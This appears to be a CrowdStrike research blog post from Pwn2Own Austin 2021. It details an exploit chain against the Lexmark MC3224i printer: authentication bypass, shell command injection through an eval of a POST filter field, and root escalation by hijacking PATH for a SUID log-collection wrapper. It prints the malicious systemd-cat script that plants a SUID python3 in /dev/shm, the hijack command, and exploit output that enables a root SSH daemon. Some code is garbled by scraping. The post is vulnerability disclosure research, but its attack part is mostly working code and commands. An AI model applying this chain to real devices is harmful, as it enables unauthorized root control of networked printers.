For the Common Good: How to Compromise a Printer in Three Simple Steps

 Sanitize all information on nonvolatile memory (x) Start initial setup wizard ( ) Leave printer offline Erase all printer and network settings Erase all shortcuts and shortcut settings

read data

remove=${data/*-r*/1}
if < "x${remove}" != "x1" >; then
    remove=0
fi
interface=$(echo ${data} | sed -n 's|^.*-i<<:space:>>\(<^<:space:>>\+\).*$|\1|p')
dest=$(echo ${data} | sed -n 's|^.*-f<<:space:>>\(<^<:space:>>\+\).*$|\1|p')
path=$(echo ${data} | sed -n 's|^.*-f<<:space:>>\(<^<:space:>>\+\).*$|\1|p')
method="startSniffer"
auto=0
if < "x${dest}" = "x/dev/null" >; then
    method="stopSniffer"
elif < "x${dest}" = "x/usr/bin" >; then
    auto=1
fi
filter=$(echo ${data} | sed -n 's|^.*-F<<:space:>>\+\(<">\)\(.*\)\1.*$|\2|p')
args="-i ${interface} -f ${dest}/sniff_control.pcap"

The variable filter is determined by a quoted string following the value -F specified in the POST body. As shown below, it is later embedded into the args variable in case it has been specified along with an interface:

fmt=""
args=""
if < ${remove} -ne 0 >; then
    fmt="${fmt}b"
    args="${args} remove 1"
fi
if < -n "${interface}" >; then
    fmt="${fmt}s"
    args="${args} interface ${interface}"
    if < -n "${filter}" >; then
        fmt="${fmt}s"
        args="${args} filter \"${filter}\""
    fi
    if < ${auto} -ne 0 >; then
        fmt="${fmt}b"
        args="${args} auto 1"
    else
        fmt="${fmt}s"
        args="${args} dest ${dest}"
    fi
fi
<...>

At the end of the script, the resulting args value is used in an eval statement:

<...>
resp=""
if < -n "${fmt}" >; then
    resp=$(eval rob call system.sniffer ${method} "{${fmt}}" ${args:1} 2>/dev/null)
    submitted=1
<...>

By controlling the filter variable, attackers are therefore able to inject further shell commands and gain access to the printer as uid=985(httpd), which is the user that the web server is executed as.

Step #3: Privilege Escalation

The printer ships a custom root-owned SUID binary called collect-selogs-wrapper:

# ls -la usr/bin/collect-selogs-wrapper
-rwsr-xr-x. 1 root root 7324 Jun 14 15:46 usr/bin/collect-selogs-wrapper

In its main() function, the effective user ID (0) is retrieved and the process’s real user ID is set to that value. Afterward, the shell script /usr/bin/collect-selogs.sh is executed:

int __cdecl main(int argc, const char **argv, const char **envp)
{
  __uid_t euid; // r0

  euid = geteuid();
  if ( setuid(euid) )
    perror("setuid");
  return execv("/usr/bin/collect-selogs.sh", (char *const *)argv);
}

Effectively, the shell script is executed as root with UID=EUID, and therefore the shell does not drop privileges. Furthermore, argv<> of the SUID binary is passed to the shell script. As the environment variables are also retained across the execv() call, an attacker is able to specify a malicious $PATH value. Any command inside the shell script that is not referenced by its absolute path can thereby be detoured by the attacker. The first opportunity for such an attack is the invocation of systemd-cat inside sd_journal_print():

# cat usr/bin/collect-selogs.sh
#!/bin/sh
# Collects fwdebug from the current state plus the last 3 fwdebug files from
# previous auto-collections. The collected files will be archived and compressed
# to the requested output directory or to the standard output if the output
# directory is not specified.

sd_journal_print() {
    systemd-cat -t collect-selogs echo "$@"
}

sd_journal_print "Start! params: '$@'"

<...>

The /dev/shm directory can be used to prepare a malicious version of systemd-cat:

$ cat /dev/shm/systemd-cat
#!/bin/sh
mount -o remount,suid /dev/shm
cp /usr/bin/python3 /dev/shm
chmod +s /dev/shm/python3
$ chmod +x /dev/shm/systemd-cat

This script remounts /dev/shm with the suid flag so that SUID binaries can be executed from it. It then copies the system's Python interpreter to the same directory and enables the SUID bit on it. The malicious systemd-cat copy can be executed as root by invoking the setuid collect-setlogs-wrapper binary like this: $ PATH=/dev/shm:$PATH /usr/bin/collect-selogs-wrapper The $PATH environment variable is prepended with the /dev/shm directory that hosts the malicious systemd-cat copy. After executing the command, a root-owned SUID-enabled copy of the Python interpreter is located in /dev/shm:

root@ET788C773C9E20:~# ls -la /dev/shm
drwxrwxrwt    2 root     root           100 Oct 29 09:33 .
drwxr-xr-x   13 root     root          5160 Oct 29 09:31 ..
-rwsr-sr-x    1 root     httpd         8256 Oct 29 09:33 python3
-rw-------    1 nobody   nogroup         16 Oct 29 09:31 sem.netapps.rawprint
-rwxr-xr-x    1 httpd    httpd           96 Oct 29 09:33 systemd-cat

The idea behind this technique is to establish a simple way of escalating privileges without having to exploit the initial collect_selogs_wrapper SUID again. We did not use the Bash binary for this, as the version shipped with the printer seems to ignore the -p flag when running with UID!=EUID.

Exploit

An exploit combining the three vulnerabilities to gain unauthenticated code execution as root

$ ./mc3224i_exploit.py https://10.64.23.20/ sshd
<*> Probing device...
<+> Firmware: CXLBL.075.281
<+> Acceptable login methods: <'LDAP_DEVICE_REALM',        
    'LOGIN_METHODS_WITH_CREDS'>
<*> Device IS password protected, auth bypass required
<*> Erasing nvram...
<+> Success! HTTP status: 200, rc=1
<*> Waiting for printer to reboot, sleeping 5 seconds...
<*> Checking status...
xxxxxxxxxxxxxxxxxxxxxxx!
<+> Reboot finished
<*> Probing device...
<+> Firmware: CXLBL.075.281
<+> Acceptable login methods: <'LDAP_DEVICE_REALM'>
<*> Device IS NOT password protected
<+> Authentication bypass done
<*> Attempting to escalate privileges...
<*> Executing command (root? False):
    echo -e '#!/bin/sh\\n
    mount -o remount,suid /dev/shm\\n
    cp /usr/bin/python3 /dev/shm\\nchmod +s /dev/shm/python3' >
    /dev/shm/systemd-cat; chmod +x /dev/shm/systemd-cat
<+> HTTP status: 200
<*> Executing command (root? False): PATH=/dev/shm:$PATH /usr/bin/collect-selogs-wrapper
<+> request timed out, that’s what we expect
<+> SUID Python interpreter should be created
<*> Attempting to enable SSH daemon...
<*> Executing command (root? True):
sed -Ee 's/(RSAAuthentication|UsePrivilegeSeparation|UseLogin)/#\\1/g'
    -e 's/AllowUsers guest/AllowUsers root guest/'
    /etc/ssh/sshd_config_perf > /tmp/sshconf;
    mkdir /var/run/sshd;
    iptables -I INPUT 1 -p tcp --dport 22 -j ACCEPT;
    nohup /usr/sbin/sshd -f /tmp/sshconf &
<+> HTTP status: 200
<+> SSH daemon should be running
<*> Trying to call ssh... ('ssh', '-i', '/tmp/tmpd2vc5a2u', 'root@10.64.23.20')
root@ET788C773C9E20:~# id
uid=0(root) gid=0(root) groups=0(root)

Summary

In this blog, we described a number of vulnerabilities that can be exploited from the local network to bypass authentication, execute arbitrary shell commands, and elevate privileges on a Lexmark MC3224i printer. The research started as an experiment after the announcement of the Pwn2Own Austin 2021. The team enjoyed the challenge, as well as participating in Pwn2Own for the first time, and we welcome your feedback. We’d also like to invite you to read about the other device we successfully targeted during Pwn2Own Austin 2021, the Cisco RV340 router.

Additional Resources

• Request a free CrowdStrike Intelligence threat briefing and learn how to stop adversaries targeting your organization.
• Learn how to incorporate intelligence on dangerous threat actors into your security strategy by visiting the CrowdStrike CROWDSTRIKE FALCON® INTELLIGENCE™ product page.
• Read the CrowdStrike 2022 Global Threat Report.
• Learn more about the CrowdStrike Falcon®^® platform by visiting the product webpage.
• Test CrowdStrike next-gen AV for yourself. Start your free trial of Falcon Prevent™ today.